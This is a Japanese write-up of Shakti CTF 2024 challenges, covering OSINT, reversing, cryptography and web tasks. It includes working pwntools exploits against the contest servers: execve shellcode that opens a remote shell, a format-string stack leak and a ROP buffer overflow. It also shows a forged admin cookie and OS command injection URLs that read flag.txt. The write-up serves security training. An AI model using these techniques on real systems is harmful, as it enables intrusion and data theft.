Shakti CTF 2024 Writeup

この大会は2024/3/8 21:30(JST)~2024/3/9 21:30(JST)に開催されました。
今回もチームで参戦。結果は1900点で496チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to ShaktiCTF'24 (Miscellaneous, Begginer)

Discordに入り、#announcementsチャネルにshaktiのロゴがあり、クリックすると、詳細情報が表示される。全部は見えないので、カーソルを当てると、フラグが表示された。

shaktictf{HAppy_W0M3n5_DAy}

Ocean_Enigma (OSINT, Begginer)

画像検索すると、以下のページなどが見つかる。

https://www.history.com/news/what-happened-to-the-mary-celeste
https://en.wikipedia.org/wiki/Mary_Celeste

以前に船長と一緒に航海したことのある乗組員はAlbert G. Richardson。
船長の親友の名前はDavid Morehouse。
船長が航海日誌に目撃を記録した島はSanta Maria Island。
元の船の名前はAmazon

shaktictf{Albert_G_Richardson:David_Morehouse:Santa_Maria:Amazon}

blank_shell (Pwn, Begginer)

$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=772606a0af6a28364ae0d08ab565b523f9e01153, for GNU/Linux 3.2.0, not stripped

シェルコードを適当に見つけてきて、送り込む。

#!/usr/bin/env python3
from pwn import *

p = remote('65.0.128.220', 30799)

payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 65.0.128.220 on port 30799: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
ynetd
$ cat flag.txt
shaktictf{sh3llc0d1ng_15_4_p13c3_0f_c4k3_9270138712038}
shaktictf{sh3llc0d1ng_15_4_p13c3_0f_c4k3_9270138712038}

Looking_Mirror (Pwn, Begginer)

Ghidraでデコンパイルする。

void main(void)

{
  __gid_t __rgid;
  FILE *__stream;
  long in_FS_OFFSET;
  char local_98 [64];
  char local_58 [72];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("Ask the looking mirror for the secret to a masterful conquest!");
  puts("==============================================");
  puts("Hi, you are face to face with the immortal mirror now!");
  puts("Delve into its eternal wisdom and get the much gaurded secret.");
  puts(
      "Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will  echo your queries back to you."
      );
  puts("\n");
  __stream = fopen("secret.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Warning: secret.txt not found! The secret is not available for you.");
  }
  else {
    fgets(local_58,0x40,__stream);
    fclose(__stream);
  }
  do {
    printf("\n> ");
    fgets(local_98,0x40,stdin);
    printf("Looking Mirror: ");
    printf(local_98);
  } while( true );
}

FSBでスタック上にあるフラグをリークする。20番目のインデックスからフラグがあるので、順番に取り出していく。

#!/usr/bin/env python3
from pwn import *

p = remote('65.0.128.220', 31878)

flag = ''
index = 20
while True:
    payload = '%' + str(index) + '$p'
    data = p.recvuntil(b'> ').decode()
    print(data + payload)
    p.sendline(payload.encode())
    data = p.recvline().decode()
    print(data)
    flag += int(data.split(' ')[-1], 16).to_bytes(8, 'little').decode()

    if '}' in flag:
        flag = flag.rstrip('\x00')
        break

    index += 1

print(flag)

実行結果は以下の通り。

[+] Opening connection to 65.0.128.220 on port 31878: Done
Ask the looking mirror for the secret to a masterful conquest!
==============================================
Hi, you are face to face with the immortal mirror now!
Delve into its eternal wisdom and get the much gaurded secret.
Remember! it shall delight you with a reply, only if you are truly worthy. Otherwise it will echo your queries back to you.



> %20$p
Looking Mirror: 0x746369746b616873


> %21$p
Looking Mirror: 0x3472676e30637b66


> %22$p
Looking Mirror: 0x5f796234625f3574


> %23$p
Looking Mirror: 0x333737346d723066


> %24$p
Looking Mirror: 0xa7d72

shaktictf{c0ngr4t5_b4by_f0rm4773r}

[*] Closed connection to 65.0.128.220 port 31878
shaktictf{c0ngr4t5_b4by_f0rm4773r}

Binary_Heist (Pwn, Easy)

$ checksec --file binary_heist 
[*] '/media/sf_Shared/binary_heist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Ghidraでデコンパイルする。

undefined8 main(EVP_PKEY_CTX *param_1)

{
  init(param_1);
  puts("Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault.");
  vault();
  puts("Agency: ABORT! Operation Binary Heist - Mission failed.");
  return 0;
}

void vault(void)

{
  puts("System: Enter your name for log: ");
  input();
  return;
}

void input(void)

{
  undefined local_18 [16];
  
  __isoc99_scanf(&DAT_00402008,local_18);
  puts("System: Log entry successful! You will be granted access on entering the correct passcodes."
      );
  return;
}

void infiltrate(long param_1,long param_2)

{
  undefined8 local_16;
  undefined4 local_e;
  undefined2 local_a;
  
  local_16 = 0x6c75617620746163;
  local_e = 0x78742e74;
  local_a = 0x74;
  if ((param_1 == 0x1337c0d31337c0d3) && (param_2 == -0x53123f2153123f22)) {
    puts("System: Operation Binary Heist - Top-Secret Flag:");
    system((char *)&local_16);
  }
  else {
    puts("WARNING: Intruder!!!. Authorities have been warned.");
  }
  return;
}

BOFでinfiltrate関数をコールする。その際引数の条件があるので、ROPで正しく指定するようにする。

$ ROPgadget --binary binary_heist --re "pop rdi"
Gadgets information
============================================================
0x0000000000401207 : pop rdi ; pop rsi ; ret

Unique gadgets found: 1
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('65.0.128.220', 31672)
else:
    p = process('./binary_heist')

elf = ELF('./binary_heist')

pop_rdi_rsi = 0x401207
infiltrate_addr = elf.symbols['infiltrate']

payload = b'A' * 24
payload += p64(pop_rdi_rsi)
payload += p64(0x1337c0d31337c0d3)
payload += p64(0xacedc0deacedc0de)
payload += p64(infiltrate_addr)

data = p.recvline().decode().rstrip()
print(data)
data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

for _ in range(2):
    data = p.recvline().decode().rstrip()
    print(data)

実行結果は以下の通り。

[+] Opening connection to 65.0.128.220 on port 31672: Done
[*] '/media/sf_Shared/binary_heist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Agency: Welcome, Agent 007. Your mission is to infiltrate the enemy vault.
System: Enter your name for log:
b'AAAAAAAAAAAAAAAAAAAAAAAA\x07\x12@\x00\x00\x00\x00\x00\xd3\xc07\x13\xd3\xc07\x13\xde\xc0\xed\xac\xde\xc0\xed\xacC\x12@\x00\x00\x00\x00\x00'
System: Log entry successful! You will be granted access on entering the correct passcodes.
System: Operation Binary Heist - Top-Secret Flag:
shaktictf{C0ngr4t5!_n0w_s1ng_0_b3ll4_c140}
[*] Closed connection to 65.0.128.220 port 31672
shaktictf{C0ngr4t5!_n0w_s1ng_0_b3ll4_c140}

Warmup_rev (Reverse Engineering, Beginner)

Ghidraでデコンパイルする。

undefined8 main(undefined8 param_1,undefined8 param_2)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char acStack_e8 [104];
  undefined8 uStack_80;
  undefined4 local_6c;
  undefined8 local_68;
  char *local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined6 local_40;
  undefined2 uStack_3a;
  undefined6 uStack_38;
  undefined8 local_32;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_6c = 100;
  local_68 = 99;
  local_60 = acStack_e8;
  printf("Enter the flag: ",param_2,3);
  fgets(local_60,100,stdin);
  sVar2 = strcspn(local_60,"\n");
  local_60[sVar2] = '\0';
  reverseString(local_60);
  local_58 = 0x316e64333364217d;
  local_50 = 0x346c6c336e67335f;
  local_48 = 0x34726d55705f6368;
  local_40 = 0x31355f345f77;
  uStack_3a = 0x735f;
  uStack_38 = 0x74667b746831;
  local_32 = 0x7368616b746963;
  iVar1 = strcmp(local_60,(char *)&local_58);
  if (iVar1 == 0) {
    puts("\nYou got it!!");
  }
  else {
    puts("Oops, that\'s not the correct flag");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    uStack_80 = 0x10137e;
    __stack_chk_fail();
  }
  return 0;
}

void reverseString(char *param_1)

{
  char cVar1;
  size_t sVar2;
  int local_14;
  int local_10;
  
  sVar2 = strlen(param_1);
  local_10 = (int)sVar2;
  for (local_14 = 0; local_10 = local_10 + -1, local_14 < local_10; local_14 = local_14 + 1) {
    cVar1 = param_1[local_14];
    param_1[local_14] = param_1[local_10];
    param_1[local_10] = cVar1;
  }
  return;
}

入力文字列を逆順にして比較しているので、元に戻す。

>>> (0x316e64333364217d).to_bytes(8, 'little')[::-1]
b'1nd33d!}'
>>> (0x346c6c336e67335f).to_bytes(8, 'little')[::-1]
b'4ll3ng3_'
>>> (0x34726d55705f6368).to_bytes(8, 'little')[::-1]
b'4rmUp_ch'
>>> (0x31355f345f77).to_bytes(6, 'little')[::-1]
b'15_4_w'
>>> (0x735f).to_bytes(2, 'little')[::-1]
b's_'
>>> (0x74667b746831).to_bytes(6, 'little')[::-1]
b'tf{th1'
>>> (0x7368616b746963).to_bytes(7, 'little')[::-1]
b'shaktic'
shaktictf{th1s_15_4_w4rmUp_ch4ll3ng3_1nd33d!}

Cyber_Kingdom (Reverse Engineering, Easy)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  long in_FS_OFFSET;
  int local_16c;
  int local_168;
  int local_164;
  int local_160;
  uint auStack_158 [36];
  int local_c8 [36];
  byte local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  srand(0x7b);
  for (local_16c = 0; local_16c < 0x23; local_16c = local_16c + 1) {
    uVar1 = rand();
    auStack_158[local_16c] = uVar1 & 0xf;
  }
  puts("\n\t||| Welcome to my Cyber Kingdom |||");
  puts("||| I have a quick task for you if you don\'t mind |||");
  puts("|| Find the correct flag for me and prove yourself! ||\n");
  printf("Please enter the flag: ");
  fgets((char *)local_38,0x24,stdin);
  for (local_168 = 0; local_168 < 0x23; local_168 = local_168 + 1) {
    local_38[local_168] = local_38[local_168] ^ (byte)auStack_158[local_168];
  }
  local_c8[0] = 0x72;
  local_c8[1] = 0x6d;
  local_c8[2] = 0x60;
  local_c8[3] = 0x65;
  local_c8[4] = 0x73;
  local_c8[5] = 0x62;
  local_c8[6] = 0x68;
  local_c8[7] = 0x7a;
  local_c8[8] = 0x6c;
  local_c8[9] = 0x7a;
  local_c8[10] = 0x77;
  local_c8[11] = 100;
  local_c8[12] = 0x31;
  local_c8[13] = 0x54;
  local_c8[14] = 0x77;
  local_c8[15] = 0x31;
  local_c8[16] = 0x6c;
  local_c8[17] = 99;
  local_c8[18] = 0x59;
  local_c8[19] = 0x67;
  local_c8[20] = 0x62;
  local_c8[21] = 0x31;
  local_c8[22] = 0x6c;
  local_c8[23] = 0x58;
  local_c8[24] = 0x31;
  local_c8[25] = 0x7d;
  local_c8[26] = 0x53;
  local_c8[27] = 0x7e;
  local_c8[28] = 0x3b;
  local_c8[29] = 0x62;
  local_c8[30] = 0x69;
  local_c8[31] = 0x30;
  local_c8[32] = 0x6c;
  local_c8[33] = 0x31;
  local_c8[34] = 0x72;
  local_164 = 0;
  for (local_160 = 0; local_160 < 0x23; local_160 = local_160 + 1) {
    if (local_c8[local_160] == (int)(char)local_38[local_160]) {
      local_164 = local_164 + 1;
    }
  }
  if (local_164 == 0x23) {
    puts("\nYou got it!!");
  }
  else {
    puts("\nNope, that\'s not the right path");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

auStack_158とXORしてlocal_c8と同じになるものを入力する必要がある。乱数が使われているが、srandで決まった値が指定されているので、算出することができる。これを元に復号する。

#include <stdio.h>
#include <stdlib.h>

void main() {
    unsigned int rnd;
    char auStack[36];
    char flag[36] = {0};
    char key[36] = {0x72, 0x6d, 0x60, 0x65, 0x73, 0x62, 0x68, 0x7a, 0x6c, 0x7a,
        0x77, 100, 0x31, 0x54, 0x77, 0x31, 0x6c, 99, 0x59, 0x67, 0x62, 0x31,
        0x6c, 0x58, 0x31, 0x7d, 0x53, 0x7e, 0x3b, 0x62, 0x69, 0x30, 0x6c, 0x31,
        0x72};

    srand(0x7b);
    for (int i = 0; i < 0x23; i++) {
        rnd = rand();
        auStack[i] = rnd & 0xf;
    }

    for (int i = 0; i < 0x23; i++) {
        flag[i] = auStack[i] ^ key[i];
    }
    printf("%s\n", flag);
}
shaktictf{wh0_s4id_fl4g_1s_r4nd0m?}

Operation Ultra (Reverse Engineering, Easy)

スクリプトの処理の概要は以下の通り。

・unk_str = "U2hhZG93MjAyNA=="
・unk_str: unk_strをbase64デコードしたもの
・unk_str0: 入力文字列
・unk_str1 = func_1(unk_str0, unk_str)
 unk_str0とunk_str(繰り返し)とのXOR
・unk_str2 = func_2(unk_str1)
 4バイトごとに前半を結合したものと4バイトごとに後半を結合したものとの結合
・unk_str2とunk_arr0が一致していれば、正しいフラグ

逆算してフラグを求める。

#!/usr/bin/env python3
import base64

unk_arr0 = [32, 0, 27, 30, 84, 79, 86, 22, 97, 100, 63, 95, 60, 34, 1, 71, 0,
    15, 81, 68, 6, 4, 91, 40, 87, 0, 9, 59, 81, 83, 102, 21]

l = len(unk_arr0) // 2

unk_str1 = []
for i in range(0, l, 2):
    unk_str1.append(unk_arr0[i])
    unk_str1.append(unk_arr0[i + 1])
    unk_str1.append(unk_arr0[l + i])
    unk_str1.append(unk_arr0[l + i + 1])

unk_str = 'U2hhZG93MjAyNA=='
unk_str = base64.b64decode(unk_str.encode('ascii'))

flag = ''
for i in range(len(unk_str1)):
    flag += chr(unk_str1[i] ^ unk_str[i % len(unk_str)])
print(flag)
shaktictf{Ul7r4_STe4l7h_SUcc3s5}

Delicious (Web Exploitation, Beginner)

クッキーのcookieに以下が設定されている。

eyJhZG1pbiI6MH0%3D
$ echo eyJhZG1pbiI6MH0= | base64 -d                          
{"admin":0}

"admin"を1にする。

$ echo -n '{"admin":1}' | base64
eyJhZG1pbiI6MX0=

クッキーのcookieに以下を設定する。

eyJhZG1pbiI6MX0%3D

ページをリロードすると、フラグが表示された。

Okay here you go: shaktictf{heyo_beginnerr_you_got_the_flag}
shaktictf{heyo_beginnerr_you_got_the_flag}

Find the flag(Web Exploitation, Easy)

OSコマンドインジェクションができる。
https://ch25757158640.ch.eng.run/?test=a;lsにアクセスすると以下が表示された。

Dockerfile
__pycache__
flag.txt
main.py
templates

https://ch25757158640.ch.eng.run/?test=a;cat%20flag.txtにアクセスすると、フラグが表示された。

shaktictf{finally_you found_the_flag_hehehheh!}

Flag Expedition (Cryptography, Begginer)

国際信号旗になっているので、デコードする。

WASITTOOEASYTOFIND
shaktictf{was_it_too_easy_to_find}

eH lvl1 (Cryptography, Easy)

RSA暗号だが、eがわからない。hintと1バイトのXOR鍵でhの値が出力されている。CyberChefで以下のhの値を「From Hex」「XOR Brute Force」で復号してみる。

6f535e1b5e1b061b0c020f0b0b10134f535e1b4852555c575e1b59424f5e1b4f535a4f1b4c5a481b4354495e5f121b0112

復号結果は以下の通り。

Key = 3b: The e = 79400+(the single byte that was xored) :)

これでeは79400+0x3bであることがわかる。p, q, cがわかっているので、通常通り復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

ct = int(params[1].split(' ')[-1])
p = int(params[2].split(' ')[-1])
q = int(params[3].split(' ')[-1])

e = 79400 + 0x3b

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
msg = long_to_bytes(m).decode()
print(msg)

復号結果は以下の通り。

Here is your reward 'vvrkxuqgi{r0i43m0r_f0_hu3_u3gtu3!!!}' You can ask 'Doraemon' to help you with this. Bye!!

Vigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで、鍵を'Doraemon'にして復号する。

shaktictf{d0r43m0n_t0_th3_r3scu3!!!}

eH lvl2 (Cryptography, Easy)

RSA暗号だが、eがわからない。hintの各文字とnでXORした値が出力されている。復号すると、以下の文字列になる。

The e = 46307 :)

これでeは46307であることがわかる。p, q, cがわかっているので、通常通り復号できる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

h = eval(params[0].split(' = ')[-1])
ct = int(params[1].split(' ')[-1])
p = int(params[2].split(' ')[-1])
q = int(params[3].split(' ')[-1])

n = p * q

hint = ''.join([chr(i ^ n) for i in h])
print('[+] hint:', hint)

e = 46307

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
flag = long_to_bytes(m).decode()
print('[*] flag:', flag)

復号結果は以下の通り。

[+] hint: The e = 46307 :)
[*] flag: Hope you had fun solving this challenge shaktictf{RSA_1s_fun_t0_d0_ri8?}
shaktictf{RSA_1s_fun_t0_d0_ri8?}

Participant Survey (Miscellaneous, Beginner)

アンケートに答えたら、フラグが表示された。

shaktictf{th4nk_y0u_f0r_submi77ing_surv3y}

Feedback (Miscellaneous, Begginer)

アンケートに答えたら、フラグが表示された。

shaktictf{7h4nk_y0u_f0r_p4rticip4ting_shaktiCTF_2024}